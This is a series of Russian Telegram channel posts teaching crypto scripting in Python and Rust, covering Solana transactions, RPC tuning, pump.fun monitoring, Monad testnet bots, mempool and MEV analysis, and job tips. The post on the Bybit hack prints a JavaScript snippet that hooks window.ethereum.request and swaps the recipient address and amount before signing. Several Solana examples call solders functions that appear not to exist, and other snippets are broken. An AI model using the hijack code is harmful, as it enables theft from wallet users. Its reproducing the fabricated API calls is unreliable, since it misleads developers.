Твои первые $100.000 на Solana Разработке
а сейчас разберем бекграунд наших постов по солане начиная с 11 февраля
Код был написал преимущественно на Python + solana-py
😰 Но вот неожиданность, solana-py уже не так хорош и ему в альтернативу пришла solders библитека
😭 Преимущества Solders:
😜 Что делать с solana-py?
Используем библиотеки вместе, пример
ПОЧЕМУ Я НЕ ПИШУ НА SOLDERS?
Думаю это мощный прогрев к моей статье по солане где все встанет на свои места!
а сейчас разберем бекграунд наших постов по солане начиная с 11 февраля
Код был написал преимущественно на Python + solana-py
Быстрее т.к используем Rust через PyO3
Лучше совместим с anchorpy (для написания смарт-контрактов на солана)
она по прежнему актуальна, будем использовать ее в следующих операциях ⬇️
> solana-py предоставляет удобные методы для работы с RPC-сервером (get_account_info, get_balance). В solders это можно делать, но API сложнее.
> solana-py предоставляет удобный Transaction API, похожий на solana-web3.js, что может быть полезно при миграции web3.js -> solana.py
> В solana-py есть удобные методы для работы с SPL-токенами (spl.token). В solders это тоже возможно, но немного сложнее.
Используем библиотеки вместе, пример
from solders.pubkey import Pubkey
from solders.rpc.responses import GetAccountInfoResp
from solana.rpc.api import Client
# используем solana-py для работы с RPC
client = Client("https://api.devnet.solana")
account_pubkey = Pubkey.from_string("YourPublicKeyHere")
# получаем информацию об аккаунте (solana-py)
account_info = client.get_account_info(account_pubkey)
# преобразуем ответ в формат solders
solders_response = GetAccountInfoResp.from_json(account_info)
print(solders_response)
ПОЧЕМУ Я НЕ ПИШУ НА SOLDERS?
Думаю это мощный прогрев к моей статье по солане где все встанет на свои места!
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥7🤩3❤2🏆2💅1
Смарт-контракты в Solana отличаются от контрактов в Ethereum и других EVM-совместимых блокчейнах.
> Они называются программами и работают в безсостоячном режиме.
> Данные хранятся отдельно в аккаунтах, а не внутри самого смарт-контракта.
Смарт-Контракты - скомпилированный код, развернутый в блокчейне.
В Solana все данные хранятся в аккаунтах, а не внутри программы
🔧 Есть два типа аккаунтов:
> Executable Accounts - аккаунты, содержащие скомпилированную программу.
> Data Accounts - аккаунты для хранения состояния.
Инструкции - команды, отправляемые в смарт-контракт ⬇️
Аналогичны вызовам функций в Ethereum.
Транзакции - группы инструкций, выполняемые в одной атомарной операции.
Используем seahorse - DSL, который компилируется в Rust для Solana.
pip install seahorse-lang
Пишем смарт-контракт, который хранит число:
from seahorse.prelude import *
declare_id("5hWzF9Pb...") # адрес программы в Solana
class Counter(Account):
value: i64 # хранит число
@instruction
def initialize(owner: Signer, counter: Empty[Counter]):
counter.init(payer=owner, seeds=["counter"])
counter.value = 0
@instruction
def increment(owner: Signer, counter: Counter):
counter.value += 1
declare_id - объявляет ID программы.
Counter - аккаунт, хранящий число.
initialize - функция инициализации.
increment - функция увеличения числа.
Seahorse скомпилирует его в Rust и позволит деплоить в Solana.
seahorse build - компиляция в RustРазвернуть через Solana CLI
solana program deploy target/deploy/my_program.so
Ваши ИДЕИ на следующий МОЩНЫЙ разбор?
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩4👍3🔥2🐳1🍓1
похитили около 401 346 ETH ≈ $1,46 млрд
Что произошло?
использовась технику подмены интерфейса пользователя (UI spoofing), что позволило получить доступ к одному из холодных кошельков Ethereum биржи.😎 Хакеры манипулировали процессом подписания транзакций, подменяя данные таким образом, что участники видели корректный адрес получателя, но фактически подтверждали измененную транзакцию.
Как это реализовывается?
Добавляется JavaScript-код на сайте или в расширении кошелька, который: ⬇️
> Перехватывает и изменяет отображаемые пользователю данные
> Меняет содержимое транзакции перед подписью🎹 Подмена адреса получателя
Когда пользователь инициирует перевод, злоумышленник изменяет отображаемый адрес на подлинный (биржи), но перед подписанием транзакции он меняется на адрес хакера.
// Вредоносный код в расширении браузера или на фишинговом сайте
document.getElementById("recipient-address").value = "0xCorrectAddress"; // Подлинный адрес
document.getElementById("amount").value = "10";
// Перехват перед подписанием
window.ethereum.request = async (args) => {
if (args.method === "eth_sendTransaction") {
let tx = args.params[0];
console.log("Оригинальная транзакция:", tx);
// Подмена адреса получателя на адрес хакера
tx.to = "0xHackerAddress";
console.log("Измененная транзакция:", tx);
return originalEthereumRequest({ method: "eth_sendTransaction", params: [tx] });
}
return originalEthereumRequest(args);
};
Код отображает жертве "правильный" адрес, но перед подписанием транзакции изменяет его на адрес хакера.
Подмена Суммы Перевода:
tx.value = "0xde0b6b3a7640000"; // 1 ETH вместо 0.1 ETH
В нашем случае хакеры могли внедрить код в интерфейс биржи или кошелька, который перехватывал и изменял отображаемые пользователю данные. Это могло быть достигнуто через компрометацию веб-сайта биржи, использование фишинговых сайтов или вредоносных расширений браузера.
Что делать?🔫
> нам, как юзерам не держать все на биржах, использовать базовую диверсификацию
ну и☔️
> Включаем Google Authenticator 2FA и отключить SMS.
> Настроить белый список адресов для вывода.
> Проверить URL перед входом в аккаунт.
> Регулярно проверяйте активность аккаунта (IP)
ваши МЫСЛИ?
Please open Telegram to view this post
VIEW IN TELEGRAM
🐳6❤2🔥1💘1
Функционал
для получения данных будем использовать сторонний апи - pumpportal.fun
pip install requests
Параметры
import requests
import time
# URL для получения данных о новых токенах
API_URL = "https://pumpportal.fun/api/new-tokens"
# пороговые значения для фильтрации
MIN_MINTERS = 100 # Минимальное количество минтеров
MIN_LIQUIDITY = 10 # Минимальная ликвидность в SOL
MIN_PRICE = 0.001 # Минимальная цена в SOL
MAX_PRICE = 1 # Максимальная цена в SOL
# интервал проверки (в секундах)
CHECK_INTERVAL = 60
Получение данных о новых токенах
def fetch_new_tokens():
try:
response = requests.get(API_URL)
response.raise_for_status()
return response.json()
except requests.exceptions.RequestException as e:
print(f"Ошибка при получении данных: {e}")
return []
Фильтрации токенов по заданным критериям
def filter_tokens(tokens):
filtered = []
for token in tokens:
minters = token.get('minters', 0)
liquidity = token.get('liquidity', 0)
price = token.get('price', 0)
if (minters >= MIN_MINTERS and
liquidity >= MIN_LIQUIDITY and
MIN_PRICE <= price <= MAX_PRICE):
filtered.append(token)
return filtered
Основной Цикл МОНИТОРИНГА
def main():
print("Запуск мониторинга новых мемкоинов на Pump.fun...")
while True:
tokens = fetch_new_tokens()
if tokens:
filtered_tokens = filter_tokens(tokens)
for token in filtered_tokens:
notify(token)
else:
print("Нет новых токенов или ошибка при получении данных.")
time.sleep(CHECK_INTERVAL)
if name == "main":
main()
Кратко расписал как это будет выглядеть
😠 Далее можно добавлять:
> более точные критерии отбора токенов
> отслеживать ранних минтеров
> настроить лимиты на покупку
> И самое интересное проверять механизмы блокировки продаж в смарт-контракте + исключать токены с высоким налогом на продажу (sell tax).
ВАШИ МЫСЛИ?
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤🔥3❤2🤩2💅1
создал канал, где мы будем развивать web3 сообщество, билдить, изучать и становиться лушче
forms.gle/bbf2Cecu9Bovq2gj9
Первый Набор - 10 человек, далее будем расширяться
Всем Удачи
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩8😍7🔥5
как Solana обрабатывает транзы: ⬇️
Параллелизм:
Solana использует модель Sealevel, что позволяет выполнять независимые транзакции параллельно.
Счета (Accounts)💰
Транзакции блокируются, если пытаются одновременно модифицировать один и тот же счет.
Приоритизация (Prioritization Fees)
Solana позволяет пользователям платить дополнительные комиссии, чтобы увеличить шансы включения транзакции в блок.
Сегодня для большей эффективности используем solders
solders работает в 5-10 раз быстрее при обработке транзакций, чем solana-py, за счет прямых биндингов к Rust.😐 solders позволяет быстро формировать транзакции без лишних зависимостей.
Асинхронные запросы в solders позволяют отправлять сотни транзакций в секунду😐
pip install solders
подключаем либы
from solders.rpc.api import Client
from solders.keypair import Keypair
from solders.pubkey import Pubkey
from solders.transaction import Transaction
from solders.instruction import Instruction
from solders.message import Message
from solders.system_program import transfer
from solders.commitment_config import CommitmentLevel
# подключаемся к Solana RPC
RPC_URL = "https://api.mainnet-beta.solana.com"
client = Client(RPC_URL)
# генерим ключи (или загружаем существующие)
sender_keypair = Keypair()
receiver_pubkey = Pubkey.from_string("адрес_получателя")
print(f"Отправитель: {sender_keypair.pubkey()}")
print(f"Получатель: {receiver_pubkey}")
Создание и подпись транзакции
# получаем актуальный блокхеш
latest_blockhash = client.get_latest_blockhash(commitment=CommitmentLevel.Finalized).value
# создаем инструкцию перевода 0.001 SOL ((
instruction = transfer(sender_keypair.pubkey(), receiver_pubkey, 1000000)
# формируем транзу
message = Message([instruction], sender_keypair.pubkey())
transaction = Transaction(message, [sender_keypair], latest_blockhash)
prioritization_fee = 5000 # устанавливаем дополнительную комиссию
# добавляем fee payer и приоритетные комиссии
transaction = transaction.set_fee_payer(sender_keypair.pubkey())
transaction = transaction.set_prioritization_fee(prioritization_fee)
# подписываем транзу
transaction = transaction.sign([sender_keypair])
# отправляем транзу
response = client.send_transaction(transaction)
print("Транзакция отправлена:", response)
Приоритетные комиссии позволяют увеличить вероятность включения транзакции в блок.
Параллельная отправка транзакций (asyncio)
import asyncio
from solders.rpc.api import AsyncClient
async def send_transaction_async(tx, client):
async with AsyncClient(RPC_URL) as async_client:
return await async_client.send_transaction(tx)
async def main():
tasks = [send_transaction_async(transaction, client) for _ in range(10)] # Отправляем 10 транзакций параллельно
results = await asyncio.gather(*tasks)
print(results)
asyncio.run(main())
во избежания устаревания blockhash, используем durable nonce:
# генерим nonce-аккаунт
nonce_account = Keypair()
txn = Transaction(
Message([transfer(sender_keypair.pubkey(), nonce_account.pubkey(), 1000000)]),
[sender_keypair],
latest_blockhash
)
client.send_transaction(txn) # отправляем транзакцию для создания nonce-аккаунта
# используем nonce в будущих транзакциях
nonce_value = client.get_account_info(nonce_account.pubkey()).value
txn = txn.set_recent_blockhash(nonce_value)
В результате, мы получаем максимальную производительность наших Solana транзакций!!😜
ЧТО РАЗБИРАЕМ ДАЛЕЕ?? ИДЕИ, МЫСЛИ 🔥 💀
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9🔥4🤩4😍2💘1
Высокая нагрузка на RPC приводит к🐺
> Медленной обработке транзакций.
> Большому числу ограничений на запросы.
> Увеличению затрат при использовании платных RPC.
Solana использует JSON-RPC API для работы с блокчейном
Основные запросы:
getAccountInfo – получение данных о кошельке или смарт-контракте.
getProgramAccounts – поиск всех аккаунтов, связанных с программой.
getTransaction – получение информации о транзакции.
simulateTransaction – эмуляция транзакции перед отправкой.
эти запросы могут нагружать RPC, если их делать неправильно
Используем solders вместо solana-py
она быстрее, т.к использует Rust-биндинги вместо чистого Python + больше безопасности и сериализация транзакций
2. WebSockets вместо REST
REST-запросы к RPC - лишние расходы.
Вместо этого можно подписываться на события через WebSockets, чтобы получать обновления мгновенно, без лишних запросов))
например подписка на обновления баланса кошелька через WebSockets
import asyncio
from solders.rpc.websocket import SolanaWsClient
async def listen_to_account_changes():
async with SolanaWsClient("wss://api.mainnet-beta.solana.com") as ws:
subnoscription_id = await ws.account_subscribe("PublicKey")
async for msg in ws:
print("Account update:", msg)
asyncio.run(listen_to_account_changes())
3.Кеширование (Redis)
Частые запросы к getAccountInfo или getTransaction можно кешировать.
кеширования баланса через Redis
import redis
import json
from solders.rpc.api import Client
from solders.pubkey import Pubkey
client = Client("https://api.mainnet-beta.solana.com")
redis_client = redis.Redis(host='localhost', port=6379, db=0)
def get_cached_balance(wallet):
cache_key = f"solana_balance:{wallet}"
cached_data = redis_client.get(cache_key)
if cached_data:
return json.loads(cached_data)
balance = client.get_balance(Pubkey.from_string(wallet)).value
redis_client.setex(cache_key, 60, json.dumps(balance)) # Кешируем на 60 сек
return balance
wallet = "PublicKey"
print(get_cached_balance(wallet))
4.Самый ГЕНИАЛЬНЫЙ СПОСОБ - Полигамия RPC
используем несколько узлов и переключаться между ними.
выбор случайного RPC
import random
from solders.rpc.api import Client
RPC_NODES = [
"https://api.mainnet-beta.solana.com",
"https://solana-mainnet.rpcfast.com",
"https://your-private-rpc.com"
]
def get_rpc_client():
rpc_url = random.choice(RPC_NODES)
return Client(rpc_url)
client = get_rpc_client()
print(client.get_slot().value)
Меньше rate limits
Резервный RPC на случай отказа узла.
вот такой СТАРТОВЫЙ СПИСОК!! КАК ВЫ Работаете с ОПТИМИЗАЦИЕЙ??
Please open Telegram to view this post
VIEW IN TELEGRAM
👍6😍5🔥4🤩1💘1
VARTCALL
Закрытый Канал упдейт
Сегодня последний день принятия заявок
http://forms.gle/bbf2Cecu9Bovq2gj9
Завтра начинаем🍑
Сегодня последний день принятия заявок
http://forms.gle/bbf2Cecu9Bovq2gj9
Завтра начинаем
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩4🔥2😍1
что за monad?
monad.xyz
L1 совместимый с EVM, разработан для решения проблем масштабируемости и эффективности
параллельное выполнение транзакций и оптимизированная база данных MonadDB, сеть способна обрабатывать до 10 000 транзакций в секунду при времени блока в 0,5 секунды и почти нулевых комиссиях за газ.
СЕГОДНЯ РАЗБЕРЕМ ЧТО ДА КАК!!!
1. Запрос Токенов на testnet.monad.xyz
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
import time
WALLET_ADDRESS = "0xКошелек”
# настройка WebDriver
options = webdriver.ChromeOptions()
options.add_argument("--headless") # Запуск без графического интерфейса
driver = webdriver.Chrome(options=options)
def request_tokens():
try:
Открываем страницу крана
driver.get("https://testnet.monad.xyz/")
time.sleep(3) # Ждем загрузки
# находим поле ввода и вводим адрес кошелька
input_field = driver.find_element(By.XPATH, "//input[@type='text']")
input_field.send_keys(WALLET_ADDRESS)
time.sleep(1)
# Нажимаем кнопку запроса токенов
request_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Request Testnet ETH')]")
request_button.click()
print("✅ Запрос тестовых токенов отправлен!")
except Exception as e:
print("❌ Ошибка при запросе токенов:", e)
finally:
driver.quit()
# запускаем
request_tokens()
Далее
Переходим на сайт и коннектим кошелёк
Вводим код: 7AA0B | 2B2EB | C51B2 | C24B6 | C26D0
Минтим Rookie NFT
CODES = [
"7AA0B", "2B2EB", "C51B2", "C24B6", "C26D0"
]
options = webdriver.ChromeOptions()
options.add_argument("--headless")
driver = webdriver.Chrome(options=options)
def mint_nft():
try:
driver.get("https://monad.talentum.id/projects")
time.sleep(3) # ждем загрузки
for code in CODES:
try:
print(f" Пробуем код: {code}")
# находим поле ввода кода и вводим его
input_field = driver.find_element(By.XPATH, "//input[@type='text']")
input_field.clear()
input_field.send_keys(code)
time.sleep(1)
# нажимаем кнопку подтверждения
submit_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Submit')]" )
submit_button.click()
time.sleep(5) # ждем ответа
# проверяем, появилась ли кнопка "Mint Rookie NFT"
try:
mint_button = driver.find_element(By.XPATH, "//button[contains(text(), 'Mint Rookie NFT')]")
mint_button.click()
print("✅ NFT успешно заминчен!")
break # Прекращаем цикл, если удалось заминтить
except:
print(f"❌ Код {code} не сработал, пробуем следующий...")
except Exception as e:
print(f"⚠ Ошибка с кодом {code}: {e}")
finally:
driver.quit()
print("🚀 Скрипт завершил работу.")
#Запуск
mint_nft()
Задачи из гайда я брал тут 🤛
Думаю ПОРА написать ПОЛНОЦЕННЫЙ СОФТ!!
КАК ВАМ ИДЕЯ, ГАЙС????
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥19❤6😍3💘1
универсальная структура для написания ботов, скриптов для блокчейна, арбитражных ботов etc
🤩 main.py– Точка входа в программу. Здесь инициализация сервисов и запуск основных процессов.
-config.py– Хранит основные параметры - RPC-эндпоинты, используемые сети, комиссии и т. д.
-utils/logger.py– Настройка логирования черезloggingдля отладки и мониторинга.👊
-utils/encryption.py– Безопасная работа с приватными ключами (хранение в.envи дешифрование при запуске)
-services/eth_service.py- Функции для взаимодействия с Ethereum через web3.py
-bots/arbitrage_bot.py- Код арбитражного бота, отслеживающего спреды между биржами.
-tests/– Unit-тесты, чтобы проверить работоспособность кода💰
.env файлы
PRIVATE_KEY=0x123456789...
INFURA_API=https://mainnet.infura.io/v3/айди-проекта
TELEGRAM_BOT_TOKEN=your_bot_token
Загружаем переменные через
python-dotenv:from dotenv import load_dotenv
import os
load_dotenv()
PRIVATE_KEY = os.getenv("PRIVATE_KEY")
INFURA_API = os.getenv("INFURA_API")
Управление Зависимостями
В
requirements.txt и фиксируем зависимости:web3
python-dotenv
requests
pandas
pytelegrambotapi
pip install -r requirements.txt
Ну и на финал запускаем через Docker
DockerFile
FROM python:3.12
WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY . .
CMD ["python", "main.py"]
далее сборка и запуск
docker build -t crypto_project .
docker run --env-file .env crypto_project
ВАШИ ДОПОЛНЕНИЯ ??!!!
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥14😍7🔥6💘1
как же стартануть в написании скриптов, РАЗБИРАЕМСЯ
Python & JavaScript - шикарные решения для старта в крипто-разработки
Питон хорош для написания ботов, автоматизации и работы с API бирж🤵♂️ ⬇️✏️ JavaScript (TypeScript) – нужен для взаимодействия со смарт-контрактами и написания фронтенда для DApps.
javanoscript.info
learnpython.org
Прекрасные ресурсы для изучения языков, но без практики никуда
w3resource.com/python-exercises - Задачи на Пайтон
jschallenger.com - Задачи на JS
Задачи👍
Python: основы синтаксиса, ООП, работа с модулями, обработка ошибок.
JavaScript/TypeScript: основы JS, промисы, async/await, работа с API.
web3.py - Python
ethers.js - JS
Благодаря этим библиотекам мы смотрем подключиться к блокчейну Ethereum и другим EVM и взаимодействовать с ними
Поэтому получаем ключ к ней на
infura.io ИЛИ alchemy.com
Начинаем Применять наши знания на практике, мои гайды тому пример
Ethers.js с нуля
web3.py с нуля
КАК ВАМ ТАКОЙ СПИСОК?? Разработчики, добавьте что-то от себя!
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥11❤4❤🔥4💘1
разбираем базу каждого блокчейн-разработчика
Прежде чем транзакция попадет в блок, она отправляется в mempool – это своего рода «очередь» неподтвержденных транзакций.
Как это?
> Узлы сети принимают транзакции и хранят их в mempool.
> Майнеры/валидаторы выбирают транзакции из mempool для включения в следующий блок.
> Транзакции с высокими комиссиями (gas fee) имеют приоритет.
Как Пайтон анализирует МемПул ?
разберем код для отслеживания транзакций
from web3 import Web3
w3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/INFURA_KEY"))
def watch_mempool():
while True:
pending_transactions = w3.eth.get_block('pending', full_transactions=True)
for tx in pending_transactions.transactions:
print(f"Транзакция {tx.hash.hex()} с gas price {tx.gasPrice}")
watch_mempool()
> Выявлять крупные транзакции перед их подтверждением.
> Анализировать, какие комиссии актуальны для быстрой отправки.
> Предугадывать атаки типа frontrunning.
перехватывают твои сделки
Frontrunning - когда кто-то (например, MEV-боты) замечает выгодную сделку в mempool и вставляет свою транзакцию перед ней.
Как?
1⃣ Ты отправляешь транзакцию на покупку токена с высокой ликвидностью.2⃣ Бот видит твою транзакцию в mempool и отправляет свою раньше с чуть более высоким gas fee.3⃣ Бот скупает токены раньше тебя и перепродает их по более высокой цене.
Пайтон поможет??
пробуем анализировать транзакции, которые быстро следуют друг за другом с похожими параметрами.
скрипт на поиск подозрительных транзакций
def detect_frontrunning():
pending_transactions = w3.eth.get_block('pending', full_transactions=True)
tx_map = {}
for tx in pending_transactions.transactions:
sender = tx['from']
to = tx['to']
amount = tx['value']
if (to, amount) in tx_map:
print(f"⚠️ Возможный фронтраннинг! Отправитель {sender} повторяет транзакцию.")
tx_map[(to, amount)] = sender
detect_frontrunning()
1⃣ Фильтровать мемпул на предмет подозрительных ботов.2⃣ Настраивать защиту в своих смарт-контрактах.3⃣ Опережать ботов, если ты делаешь арбитраж.
MEV (Maximal Extractable Value) – дополнительная прибыль, которую майнеры/валидаторы и боты могут извлечь за счет изменения порядка транзакций в блоке.
Кто использует MEV?🤬
> Frontrunning-боты
> Sandwich-атаки
> Арбитражные боты, которые используют разницу цен на DEX.
ПАЙТОН - используем для анализила блоков и поиска подозрительных групп транзакций.
def check_mev_transactions(block_number):
block = w3.eth.get_block(block_number, full_transactions=True)
txs = block.transactions
for i in range(len(txs) - 1):
if txs[i]['to'] == txs[i + 1]['to'] and txs[i]['value'] < txs[i + 1]['value']:
print(f"⚠️ MEV подозрение: {txs[i].hash.hex()} -> {txs[i + 1].hash.hex()}")
check_mev_transactions("latest")
Зачем ?
ЧТО РАЗБЕРЕМ ДАЛЕЕ?
Please open Telegram to view this post
VIEW IN TELEGRAM
❤9❤🔥2🔥1🐳1💘1
подведем итоги месяца
1. Разобрались с AI-AGENTS (ЧАСТЬ №1, Часть №2)
2. Начали Работу Над Арбитраж-Ботом на Пайтон
3. Разобрали Multicall & EIP-1559
4. Научились Работать с Капчей через Пайтон
5. Разобрали работу MEV-ботов
6. Работали с Etherscan api & ChainLink
Начали МАРАФОН по Солана на пайтон + Нашли Обучение
Работали с транзакциями соланы и ее скоростью
Солана x DEX
Solana x Кошельки
Солана Legacy VS V0
spl токены солана
БЕСПЛАТНЫЙ курс по солане с НУЛЯ
Разбор Solders
Софтанули Памп-Фан
Бустанули Транзакции в Солане
Ускорили RPC Solana
Начали разработку Софта под Monad
Разобрали Структуру Крипто-Софта в пайтон
Гайд по написанию Софтов с НУЛЯ
Разобрали механики Блокчейна
Запустили Наш ЗАКРЫТЫЙ Клуб
Взлом Байбит на $1.5 млрд
Please open Telegram to view this post
VIEW IN TELEGRAM
❤🔥6🔥4🏆3💅1
Rust в последние годы набирает популярность в крипто-разработке, особенно среди высокопроизводительных блокчейнов, таких как Solana, NEAR, Polkadot и Substrate
РАЗБИРАЕМ
1. Безопасность Памяти
Rust обеспечивает memory safety без необходимости в garbage collector (GC), что критически важно для блокчейнов, где даже небольшие задержки могут приводить к высокому расходу газа или уязвимостям.2. Скорость🔧 Rust сочетает безопасность памяти (как в Solidity) с высокой производительностью без GC (как C++), что делает его идеальным для блокчейнов.
Rust компилируется в машинный код, не использует интерпретатор (как Python) или виртуальную машину (как Solidity), а значит, работает максимально быстро.
3. Что писать??
На Rust можно разрабатывать не только смарт-контракты, но и:
> DeFi-приложения (Solana, NEAR)
> Layer-2 решения (ZK-rollups, state channels)
> Блокчейн-клиенты (Ethereum, Polkadot)
> Боты для арбитража и трейдинга
> Криптографические библиотеки (шифрование, подписи)
Видимо Rust — это C++ для блокчейнов, но без боли и багов.
Если писать безопасные и быстрые смарт-контракты, Rust - следовательно неплохой выбор
WEB3 X Rust😮
ethers-rs - Web3-клиент для Ethereum и EVM-совместимых блокчейнов.
(подписывать и отправлять транзакции, взаимодействовать с контрактами)
solana-sdk - Библиотека для работы с Solana.
(писать программы и управлять аккаунтами)
substrate-api-client - Rust API для работы с Polkadot/Substrate.
(управления узлами и контрактами)
КАК ВАМ РАСТ?
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥13❤🔥3🏆3💘1
🗣 вот и лайф
Написали скрипты, теперь можно и развеяться
Как вы проводите воскресенье? Ваши идеи на следующие видео, посты🙏
Написали скрипты, теперь можно и развеяться
Как вы проводите воскресенье? Ваши идеи на следующие видео, посты
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11🔥3💅1
1. Получение баланса ETH
Этот скрипт подключается к Ethereum (через Infura/Alchemy), получает баланс кошелька и выводит его.
Библиотека: ethers-rs
cargo add ethersuse ethers::prelude::*;
use std::convert::TryFrom;
use tokio;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let provider = Provider::<Http>::try_from("https://mainnet.infura.io/v3/INFURA_KEY")?;
let address: Address = "0x742d35Cc6634C0532925a3b844Bc454e4438f44e".parse()?;
let balance = provider.get_balance(address, None).await?;
println!("Баланс: {} ETH", balance);
Ok(())
}
2. Отправка транзакции в Ethereum
скрипт отправляет ETH на указанный адрес.
СКРИПТ
use ethers::prelude::*;
use std::convert::TryFrom;
use tokio;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let provider = Provider::<Http>::try_from("https://mainnet.infura.io/v3/INFURA_KEY")?;
let wallet: LocalWallet = "PRIVATE_KEY".parse::<LocalWallet>()?.with_chain_id(1);
let client = SignerMiddleware::new(provider.clone(), wallet);
let to: Address = "0xRecipientAddressHere".parse()?;
let tx = TransactionRequest::new()
.to(to)
.value(ethers::utils::parse_ether(0.01)?) // 0.01 ETH
.gas_price(provider.get_gas_price().await?);
let pending_tx = client.send_transaction(tx, None).await?;
let tx_hash = pending_tx.tx_hash();
println!("Отправлено! Tx hash: {:?}", tx_hash);
Ok(())
}
3. Чтение данных из смарт-контракта (ERC-20 баланс)
Этот скрипт получает баланс токена ERC-20 у пользователя.
ethers-rs
USDT - 0xdAC17F958D2ee523a2206206994597C13D831ec7
СКРИПТ
use ethers::prelude::*;
use std::convert::TryFrom;
use tokio;
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
let provider = Provider::<Http>::try_from("https://mainnet.infura.io/v3/INFURA_KEY")?;
let erc20 = "0xdAC17F958D2ee523a2206206994597C13D831ec7".parse::<Address>()?;
let user = "0x742d35Cc6634C0532925a3b844Bc454e4438f44e".parse::<Address>()?;
let abi: Abi = serde_json::from_str(include_str!("erc20_abi.json"))?;
let contract = Contract::new(erc20, abi, provider.clone());
let balance: U256 = contract.method("balanceOf", user)?.call().await?;
println!("Баланс USDT: {} USDT", balance);
Ok(())
}
ВОТ ТАКОЕ НАЧАЛО??
КАК ВАМ РАСТ??
ИДЕИ??
Please open Telegram to view this post
VIEW IN TELEGRAM
❤11👍4🤩2
разбираем где и как искать работу блокчейн-разработчикам
Контрибуть в open-source
1⃣ Берем любой популярный web3 проект - Ethers.js, Hardhat, Foundry, Solidity, Ethereum, L2-решений2⃣ Заходим в issue, смотрим, какие задачи можно решить.3⃣ Читаем чужой код - понимаем, как работают крупные проекты.4⃣ Контрибь – попадаешь на радары.
Свой pet-проект и популяризация в Twitter/Reddit/Telegram
Блокчейн = код + медийка.
Твой GitHub + Twitter (X) + Telegram = твое резюме.
ПЛАН
Пилить DeFi-контракты, арбитражных ботов, NFT-дропы, L2-плагины. ⬇️
> Расписывать процесс разработки в тредах в Twitter / писать посты в Telegram.
> Делать видосы – записывай свой код с объяснением.
например
Я написал арбитражного бота на Python -> выложил GitHub + Telegram пост -> Кто-то увидел -> предложил контракт или работу🤬
DAO и комьюнити-хакатоны
Работодатели в крипте ищут людей внутри комьюнити.
Как попасть?
Gitcoin, ETHGlobal, Encode Club - хакатоны и гранты🤬 Arbitrum, Optimism, Polygon, zkSync - у всех есть гранты для разработчиков.
Участвуем в обсуждениях в Discord/Twitter/Telegram у топовых криптопроектов
Заходим в Lens, Farcaster, Warpcast - новые соцсети для крипторазработчиков🤳
Questbook - гранты, задания.
Cryptojobslist - площадка с вакансиями и фриланс-заказами в крипто.🐺 Ethlance - децентрализованная фриланс-биржа на Ethereum.
LaborX – платформа с крипто-оплатами в USDT, ETH etc.
Twitter + Discord = главные HR-платформы крипты
Подаёмся не через сайты, а через комьюнити.
Где искать?
CryptoJobsList, Remote3, Web3.career - доски вакансий🤫 Discord серверы Solana, Ethereum, zkSync, Polygon, Starknet - ИЩЕМ "we're hiring".
Вот так, больше кода, гайс, больше проектов, больше видимости
Разбираем тему далее?? ИДЕИИИ!!
Please open Telegram to view this post
VIEW IN TELEGRAM
🤩19🐳6👍5🔥4💘2